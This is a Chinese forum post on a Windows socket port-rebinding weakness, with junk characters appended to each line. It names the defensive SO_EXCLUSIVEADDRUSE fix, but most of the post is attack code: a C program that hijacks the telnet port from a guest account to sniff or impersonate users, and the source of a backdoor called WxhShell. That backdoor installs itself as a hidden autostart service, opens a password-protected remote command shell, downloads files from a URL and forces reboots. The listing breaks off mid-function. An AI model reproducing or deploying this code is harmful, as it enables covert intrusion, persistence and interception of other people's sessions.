社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19943阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z^'; xn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lHU$A;  
h kY E7  
  saddr.sin_family = AF_INET; D3OV.G]`  
4$rO,W/&0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YH9BJ  
j(rFORT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9UZX+@[F  
6{6tg>|L)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *4bV8T>0Z  
IM+PjYJ  
  这意味着什么?意味着可以进行如下的攻击: n9%rjS$  
BeRn9[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1,E/So   
8I'?9rt2M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RB!g,u  
]KmYPrCl0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =J,:j[D(  
F=#Wfl-o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nz(OHh!}u  
8{RiaF8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 31}6dg8?n  
@AwH?7(b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o7 kGZ  
B0:O]Ax6.^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E4{8 $:q=  
lxeolDl  
  #include ??F{Gli"C`  
  #include l!b#v`  
  #include B\6\QQ;rUo  
  #include    fu`oDi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tP\Utl-0  
  int main() #pZ3xa3R  
  { |qBo*OcO  
  WORD wVersionRequested; p(Sfw>t(  
  DWORD ret; <rU(zm  
  WSADATA wsaData; \Tc$P#  
  BOOL val; vXc<#X9  
  SOCKADDR_IN saddr; j/sZ:Q  
  SOCKADDR_IN scaddr; qU"+0t4  
  int err; milU,!7J  
  SOCKET s; P6MT[  
  SOCKET sc; fE(rDQI  
  int caddsize; bNXT*HOZb3  
  HANDLE mt; EprgLZ1B  
  DWORD tid;   yJ^}uw  
  wVersionRequested = MAKEWORD( 2, 2 ); @=$;^}JS|  
  err = WSAStartup( wVersionRequested, &wsaData ); 5n_<)Ycj  
  if ( err != 0 ) { |')Z;  
  printf("error!WSAStartup failed!\n"); /t816,i  
  return -1; hgm`6TQ  
  } %zWtPxAf  
  saddr.sin_family = AF_INET; X@ TQD  
   Mq$e5&/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #SO9e.yhI  
|W?x6]~.R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'E6)6N  
  saddr.sin_port = htons(23); P! :D2zSH_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )jn xR${M  
  { 8}4V$b`Z  
  printf("error!socket failed!\n"); ZMbv1*Vt  
  return -1; @@+\  
  } B&"fPi  
  val = TRUE; @;pTQ 5 I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /']Gnt G.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @dGj4h.  
  { pm^[ve  
  printf("error!setsockopt failed!\n"); @zE_fL  
  return -1; h"j{B  
  } !uHX2B+~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WG9x_X&XJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wF}/7b54  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mim]nRd2v  
?k#-)inf)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z>'.+OW  
  { zcDVvP  
  ret=GetLastError(); dKhDO`.s  
  printf("error!bind failed!\n"); !RAyUfS  
  return -1; O]`CSTv'_  
  } BJ1txdxvS  
  listen(s,2); 8MV=?  
  while(1) %*zgN[/w  
  { BoXQBcG]w  
  caddsize = sizeof(scaddr); m%ak]rv([  
  //接受连接请求 CKyX  Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LC2t,!RRl&  
  if(sc!=INVALID_SOCKET) o^biO!4,  
  { &*r YY\I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *o`bBdZ  
  if(mt==NULL) c=h{^![$  
  { M{Wla 7  
  printf("Thread Creat Failed!\n"); _=}Efy7  
  break; = T!iM2  
  }  5'Y @c  
  } )lE]DG!  
  CloseHandle(mt); 6l<q  
  } ?=$a6o  
  closesocket(s); /V^Gn;  
  WSACleanup(); +<(N]w*  
  return 0; 3t)07(x_B  
  }   c\065#f!  
  DWORD WINAPI ClientThread(LPVOID lpParam) M1-n  
  { +' QX`  
  SOCKET ss = (SOCKET)lpParam; Lp.,:z7  
  SOCKET sc; ?Bno?\  
  unsigned char buf[4096]; :D""c*  
  SOCKADDR_IN saddr; #"|</*% >  
  long num; !"Jne'f  
  DWORD val; 7LbBS:@3z_  
  DWORD ret; qk<(iVUO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bx#GOK-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :?S1#d_  
  saddr.sin_family = AF_INET; S-NKT(H)c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Id3#+-O  
  saddr.sin_port = htons(23); p8aGM-+40W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wM9HZraB<  
  { dDK4I3a  
  printf("error!socket failed!\n"); 0JN>w^  
  return -1; ]%>7OH'  
  } '[Ap/:/UY  
  val = 100; ?Z 9C}t]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c6.S jV  
  { A)/8j2  
  ret = GetLastError(); P/6$ T2k_  
  return -1; M=:!d$c  
  } Wn6~x2LaV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  `S$zwot  
  { {Rc mjI7  
  ret = GetLastError(); HqC 1Dkw  
  return -1; Xo[j*<=0  
  } V{4=, Ax  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &B ?TX.  
  { ,\8F27  
  printf("error!socket connect failed!\n"); 14>WpNN  
  closesocket(sc); W}jel}:  
  closesocket(ss); r&!Ebe-  
  return -1; $ 1lI6 = ,  
  } $]LhE:!G  
  while(1) {;mT.[  
  { Uao8#<CkvJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X?'ShXI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Rn?Yz^ 1q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B\^myg4  
  num = recv(ss,buf,4096,0); 9|BH/&$  
  if(num>0) @>:V?  
  send(sc,buf,num,0); y950Q%B]  
  else if(num==0) n92*:Y  
  break; |z.x M>  
  num = recv(sc,buf,4096,0); zP554Gr?  
  if(num>0) OeMI  
  send(ss,buf,num,0); z3-A2#c  
  else if(num==0) >%6a$r~@  
  break; ]? 2xS?vd  
  } Y6W#u iqk  
  closesocket(ss); )WWqi,T}  
  closesocket(sc); IhR;YM[K  
  return 0 ; oyw*Z_9~  
  } t.\<Q#bN#  
#Sg< 9xsW  
5z/*/F=X  
========================================================== <[l0zE5Z8'  
-ElK=q  
下边附上一个代码,,WXhSHELL etw.l~y   
bv:M zYS  
========================================================== b?^CnMO  
]9A@iA  
#include "stdafx.h" sh#hDU/</  
}R&5Ye  
#include <stdio.h> simD<&p  
#include <string.h> ^WF/gup\hS  
#include <windows.h> !=)b2}e/>  
#include <winsock2.h> gI T3A*x  
#include <winsvc.h> Ot<vn34mt:  
#include <urlmon.h> <Jc :a?ICe  
2/dvCt6 N  
#pragma comment (lib, "Ws2_32.lib") w|,BTM:e  
#pragma comment (lib, "urlmon.lib") uD=FTx  
1Zo"Xb  
#define MAX_USER   100 // 最大客户端连接数 N+N98~Y`P  
#define BUF_SOCK   200 // sock buffer c3__=$)'kP  
#define KEY_BUFF   255 // 输入 buffer < C1Jim  
Mn<#rBE B  
#define REBOOT     0   // 重启 mVsghDESJ)  
#define SHUTDOWN   1   // 关机 hU|TP3*  
c0U=Hj@@  
#define DEF_PORT   5000 // 监听端口 zz m[sX}  
Spm0DqqR?  
#define REG_LEN     16   // 注册表键长度 ^yFtL(x,  
#define SVC_LEN     80   // NT服务名长度 ^'G,sZ6'Nh  
z)_h"y?H{%  
// 从dll定义API =O o4O CF2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i-FsA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jfs_9g5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ExxD w_VGT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WKvG|YRDq  
o;"Phc.  
// wxhshell配置信息 ;RzbPlkl  
struct WSCFG { 7x''V5*j  
  int ws_port;         // 监听端口 &YOks.k  
  char ws_passstr[REG_LEN]; // 口令 N <e72x  
  int ws_autoins;       // 安装标记, 1=yes 0=no [bh8Nj\E  
  char ws_regname[REG_LEN]; // 注册表键名 aovw'O\Q  
  char ws_svcname[REG_LEN]; // 服务名 [XbNZ6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H"vkp~u]I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YIn H8Ex  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B,(zp#&yB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h%PbM`:}6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \r`><d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SCL8.%z D  
#`o]{UfW  
}; Bm$(4  
|y$8!*S~(  
// default Wxhshell configuration ?B['8ju  
struct WSCFG wscfg={DEF_PORT, :G[6c5j|V  
    "xuhuanlingzhe", htu(R$GSM  
    1,   !XQq*  
    "Wxhshell", 4N[KmNi<  
    "Wxhshell", kNk$[Yfs  
            "WxhShell Service", tDQuimYu7  
    "Wrsky Windows CmdShell Service", Vk:] aveW  
    "Please Input Your Password: ", r7Zx<c  
  1, oY<R[NYKu  
  "http://www.wrsky.com/wxhshell.exe", <HB@j}qi  
  "Wxhshell.exe" 'Da*MGu9  
    }; %U?1Gf e  
V.|#2gC]t  
// 消息定义模块 Nv5)A=6#AA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b]6@ O8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uW0Dm#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NbPNcjPL  
char *msg_ws_ext="\n\rExit."; C @nA*  
char *msg_ws_end="\n\rQuit."; ^_c6Op<F  
char *msg_ws_boot="\n\rReboot..."; gGE&}EoLU  
char *msg_ws_poff="\n\rShutdown..."; UUR+PfY  
char *msg_ws_down="\n\rSave to "; u:w   
+x]3 - s  
char *msg_ws_err="\n\rErr!"; SIZZFihcYh  
char *msg_ws_ok="\n\rOK!"; $5\+Q W  
:^rt8>~  
char ExeFile[MAX_PATH]; y$y!{R@   
int nUser = 0; sR;u#".  
HANDLE handles[MAX_USER]; "cz'|z`  
int OsIsNt; B'&QLO|  
@p<tJR"M  
SERVICE_STATUS       serviceStatus; ]Ns)fr 6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xi[\2g+  
/m|U2rrqb  
// 函数声明 T#.pi@PF>  
int Install(void); ipC <p?PpR  
int Uninstall(void); "A]#KTP  
int DownloadFile(char *sURL, SOCKET wsh); 2EiE5@  
int Boot(int flag); +Z e;BKZ3  
void HideProc(void); gC+?5_=<  
int GetOsVer(void); %J L P=(  
int Wxhshell(SOCKET wsl); ^Lv )){t  
void TalkWithClient(void *cs); :i>If:>g  
int CmdShell(SOCKET sock); ] @:x<>  
int StartFromService(void); L;-V Yo#  
int StartWxhshell(LPSTR lpCmdLine); qLV3Y?S!L  
89x;~D1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $`[TIyA9!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z&of-[)  
G!+Mu2  
// 数据结构和表定义 Kay\;fXT  
SERVICE_TABLE_ENTRY DispatchTable[] = ZeqsXz  
{ b|-S;cw  
{wscfg.ws_svcname, NTServiceMain}, 66-tNy  
{NULL, NULL} SuXeUiK.[  
}; C55Av%-=  
L'w]O -86  
// 自我安装 82iFk`)T  
int Install(void) sC A  
{ nS](d2  
  char svExeFile[MAX_PATH]; ;!A=YXB  
  HKEY key; -3u ;U,}  
  strcpy(svExeFile,ExeFile); @N ]]Cf>x  
?,i}Qr [Q  
// 如果是win9x系统,修改注册表设为自启动 qw 03]a  
if(!OsIsNt) { /0o#V-E)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { adPd}rt;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &M:o(T  
  RegCloseKey(key); aS``fE ;O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KP&xk1 3)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m%=*3gH]&  
  RegCloseKey(key); a7685Y  
  return 0; 2;(+]Ad<  
    } "n_X4e+18P  
  } %>$Pu y\U  
} 9s1^hW2%Q  
else { 9F[_xe@  
T.jCF~%7F  
// 如果是NT以上系统,安装为系统服务 0*_E'0L8e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0U~*uDU  
if (schSCManager!=0) "8"aYD_  
{ B$n1 k 45  
  SC_HANDLE schService = CreateService SF`(`h0e  
  ( ~oJ"si  
  schSCManager, : _tt9J  
  wscfg.ws_svcname, A$]s{`  
  wscfg.ws_svcdisp, ~Hu!iZ2]  
  SERVICE_ALL_ACCESS, >ZW|wpO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 050,S`%<g8  
  SERVICE_AUTO_START, )XHn.>]nc  
  SERVICE_ERROR_NORMAL, \EsT1aT  
  svExeFile, Y%eq2%  
  NULL, rOz1tY)l0d  
  NULL, ]jYFrOMy4S  
  NULL, Le:(;:eL>t  
  NULL, RWGf]V]6  
  NULL ]Axz}:  
  ); {0 j_.XZ  
  if (schService!=0) 2:_6nWl  
  { 1Qu@pb^  
  CloseServiceHandle(schService); wYg!H>5  
  CloseServiceHandle(schSCManager); TL)*onA9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H]pI$t3~  
  strcat(svExeFile,wscfg.ws_svcname); </WeB3#6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'E+"N'M|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vbVOWX6  
  RegCloseKey(key); #c5jCy}n  
  return 0; fGO\f;P  
    } jj1\oyQ8  
  } :8!RGtn  
  CloseServiceHandle(schSCManager); ! 5NuFLOf  
} =E5bM_P<K  
} i'7+ ?YL  
w4vV#C4X  
return 1; 6,a H[ >W  
} Y}1c>5{bE  
TI8r/P? ]V  
// 自我卸载 KWZhCS?[(  
int Uninstall(void) W3:Fw6v  
{ Aeb(b+=  
  HKEY key; pK@=]K~l0  
j/z=<jA  
if(!OsIsNt) { w y|^=#k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $[A\i<#  
  RegDeleteValue(key,wscfg.ws_regname); 5$: toL  
  RegCloseKey(key); @kqxN\DE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =c'4rJ$+  
  RegDeleteValue(key,wscfg.ws_regname); I70c,4_G  
  RegCloseKey(key); N+=|WeZ  
  return 0; MQQm3VaKS  
  } WJ25fTsG  
} ujZ`T0  
} N-\N\uN  
else { Gv_~@MN  
V0=%$tH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <qwf"Ey  
if (schSCManager!=0) e@Lxduq  
{ x9vSekV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C/!.VMl^  
  if (schService!=0) /ce;-3+  
  { kh5a>OX  
  if(DeleteService(schService)!=0) {  u]P|  
  CloseServiceHandle(schService); "XR=P> xk  
  CloseServiceHandle(schSCManager); ;!MQ@Fi^  
  return 0; L~Gr,i  
  } C9!t&<\ }  
  CloseServiceHandle(schService); uiVN z8H  
  } FH+X<  
  CloseServiceHandle(schSCManager); :A8}x=K  
} 5#,H&ui\  
} ^#Ha H  
7$'AH:K  
return 1; n m-  
} 2 DQVl  
EtKq.<SJ  
// 从指定url下载文件 n#lbfN 4  
int DownloadFile(char *sURL, SOCKET wsh) {]k#=a4  
{ N1a]y/  
  HRESULT hr; fp)SZu_*  
char seps[]= "/"; m,k 0 h%  
char *token; x]{P.7IO'  
char *file; S,c{LTL  
char myURL[MAX_PATH]; S6<o?X9,I  
char myFILE[MAX_PATH]; [';o -c"!  
IT| h;NUG  
strcpy(myURL,sURL); r#sg5aS7O|  
  token=strtok(myURL,seps); /Y #8.sr  
  while(token!=NULL) ZnEgU}g<2  
  { Uwc%'=@  
    file=token; ;m]V12  
  token=strtok(NULL,seps); B\J[O5},  
  } A{ +/$7vek  
f%]@e9dD  
GetCurrentDirectory(MAX_PATH,myFILE); -9b=-K.y  
strcat(myFILE, "\\"); . g#}2:3  
strcat(myFILE, file); *k{Llq  
  send(wsh,myFILE,strlen(myFILE),0); w2s`9  
send(wsh,"...",3,0); C-YYG   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Te\6qM  
  if(hr==S_OK) =XfvPBA  
return 0; 9xQ|Uad+%  
else D!`[fjs6A  
return 1; :Awwt0  
1=5"j]0hY  
} K *@?BE  
'V&g"Pb  
// 系统电源模块 G*=HjLmZg  
int Boot(int flag) +~V%R{h  
{ T"g_a|7Tj  
  HANDLE hToken; w7 MRuAJ4  
  TOKEN_PRIVILEGES tkp; o,i_py  
&lzY"Y*hA0  
  if(OsIsNt) { 4@{;z4*`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G#7*O`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D <iG*I  
    tkp.PrivilegeCount = 1; +3))G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Es[3Ppz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {QEvc  
if(flag==REBOOT) { ;6 V~yB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^tTM 7  
  return 0; )u(,.O[cw  
} jZ~girA  
else { >l0Qd1   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /[/L%;a'p  
  return 0; "-:H$  
} )a^&7  
  } |E6Thvl$  
  else { ?8753{wk  
if(flag==REBOOT) { T>'w]wi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %R5- 6  
  return 0; 5B~]%_gZr  
} UR^r>  
else { +`flIG3RV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4l0>['K&{  
  return 0; 1 Ne;U/  
} IfH/~EtX  
} fhg'4FO  
O=K0KOj  
return 1; ,L%]}8EL"  
} h7eb/xEto  
CL7_3^2qI  
// win9x进程隐藏模块 KEy8EB  
void HideProc(void) ]HWeVhG  
{ 0<V/[$}\D  
NP3 e^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +/_XSo  
  if ( hKernel != NULL ) yFm88  
  { I`+,I`~u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /pRv i>_(:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6# bTlmcg  
    FreeLibrary(hKernel); ,OrrGwp&  
  } -V2f.QE%  
`j3 OFC{7E  
return; d v4~CW%Td  
} F(j;|okf;  
n3? msY(*  
// 获取操作系统版本 3 K||(  
int GetOsVer(void) )M8,Tv*~  
{ Kf?:dF  
  OSVERSIONINFO winfo; <0Y<9+g!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 07=I&Pum  
  GetVersionEx(&winfo); NVQ.;"2w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fsl="RB7f  
  return 1; J>M9t%f@  
  else 3;jx Io$,  
  return 0; oumbJ7X=L  
} h}tC +_"D  
w3VgGc~  
// 客户端句柄模块 *oLDy1<  
int Wxhshell(SOCKET wsl) | oOAy  
{ 0i5S=L`j  
  SOCKET wsh; {\k }:)  
  struct sockaddr_in client; VL5VYv=:  
  DWORD myID; 5MYdLAjV  
6pb~+=3n  
  while(nUser<MAX_USER) n5oX51J  
{ c om4@NK  
  int nSize=sizeof(client); @+nCNXK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TC2%n\GH*  
  if(wsh==INVALID_SOCKET) return 1; ;,uATd|  
V^!^wLLi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MGK?FJn_?  
if(handles[nUser]==0) Xk'Pc0@a  
  closesocket(wsh); CY.92I@S  
else B1Pi+-t  
  nUser++; i`<L#6RBT  
  } QrFKjmD<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,cS_687o  
cL%"AVsj >  
  return 0; raSga'uT;  
} 1R yE8DdP  
:.=j)ljTx  
// 关闭 socket t_16icF9U  
void CloseIt(SOCKET wsh) X!ldL|Ua%  
{ Al@. KTK  
closesocket(wsh); +e.w]\}  
nUser--; hbr3.<o1lY  
ExitThread(0); /ece}7M  
} ;ThFB  
O0 Uh  
// 客户端请求句柄 JC9$"0d7  
void TalkWithClient(void *cs) L^Q;M,.c;  
{ n'q:L(`M  
XHdhSFpm  
  SOCKET wsh=(SOCKET)cs; ?*xH HI/  
  char pwd[SVC_LEN]; 01&E.A  
  char cmd[KEY_BUFF]; |N)),/R_  
char chr[1]; fE)o-q6Z  
int i,j; |v : )9  
34"PtWbV>  
  while (nUser < MAX_USER) { '/X]96Ci7  
z$~F9Es9  
if(wscfg.ws_passstr) { QY<5o;m`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Uj9~yVN]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }(XKy!G6  
  //ZeroMemory(pwd,KEY_BUFF); u8%X~K\  
      i=0; d:^B2~j  
  while(i<SVC_LEN) { cPAR.h,b?  
eV(9I v[  
  // 设置超时 YHu]\'Ff  
  fd_set FdRead; |#SZd Xg  
  struct timeval TimeOut; (dQ=i  
  FD_ZERO(&FdRead); ZMiOKVl  
  FD_SET(wsh,&FdRead); [.Kp/,JY  
  TimeOut.tv_sec=8; |</)6r  
  TimeOut.tv_usec=0; FINHO058^Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5F ^VvzNn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }P{Wk7#Jq  
cL03V?} ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]{\M,txo8  
  pwd=chr[0]; `=,emP&(H&  
  if(chr[0]==0xd || chr[0]==0xa) { dkCU U  
  pwd=0; eMFxdtH  
  break; :lvBcFw  
  } z,^~H  
  i++;  O&|<2Qr  
    } kmt1vV.9  
BbC O K  
  // 如果是非法用户,关闭 socket x{<l8vL=-c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ez*QP|F*9  
} 2=0HQXXrq  
Qs59IZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p)?6#~9$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -]D/8,|s  
4G&dBH  
while(1) { zUv#%Q8vw  
Dat',5  
  ZeroMemory(cmd,KEY_BUFF); s<k2vbhI  
NY^0$h  
      // 自动支持客户端 telnet标准   c-Yd> 4+ 1  
  j=0; o,* D8[  
  while(j<KEY_BUFF) { uh2_Rzln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1,bE[_  
  cmd[j]=chr[0]; zhFm2  
  if(chr[0]==0xa || chr[0]==0xd) { v*=P  
  cmd[j]=0; y;8&J{dd  
  break; Km%L1Cd]  
  } HBtk)  
  j++; (uDd_@a9t  
    } "z3rH~q72  
|llJ%JhF  
  // 下载文件 tLfhW1"  
  if(strstr(cmd,"http://")) { Tsa]SN14  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ihf :k_;  
  if(DownloadFile(cmd,wsh)) ja';NIO-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K SO D(  
  else /kkUEo+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R( FQ+h  
  } u ij^tN%  
  else { Kmx^\vDs  
% |D)%|Z  
    switch(cmd[0]) { BU/A\4xQ,Y  
  lYQ|NL():  
  // 帮助 AO|9H`6U6F  
  case '?': { k<^M >` $  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |9c~kTjK  
    break; }\7UU?@n  
  } @3O)#r}\  
  // 安装 =ZIT!B?4  
  case 'i': { *<($.c  
    if(Install()) GN(<$,~g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{IPt]PCn  
    else tZ9i/=S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v CaN[  
    break; ~dRstH7u  
    } H,X|-B  
  // 卸载 4F~^RR"  
  case 'r': { rXX>I;`&  
    if(Uninstall()) !`Rh2g*o9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]zSFX =~(S  
    else "[|b,fxR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U+)p'%f;  
    break; !-f Bw  
    } +&`W\?.~  
  // 显示 wxhshell 所在路径 \%=\4%:  
  case 'p': { FI$:R  
    char svExeFile[MAX_PATH]; .9qK88fUR  
    strcpy(svExeFile,"\n\r"); pD732L@q  
      strcat(svExeFile,ExeFile); @%R<3!3v  
        send(wsh,svExeFile,strlen(svExeFile),0); |:=o\eu&  
    break; J/?Nf2L4  
    } MePD:;mm^  
  // 重启 6@J=n@J$p  
  case 'b': { _6ZjF>f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c[dzO .~  
    if(Boot(REBOOT)) pSw/QO9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :jLL IqhB  
    else { hi0HEm\  
    closesocket(wsh); ;!4gDvm  
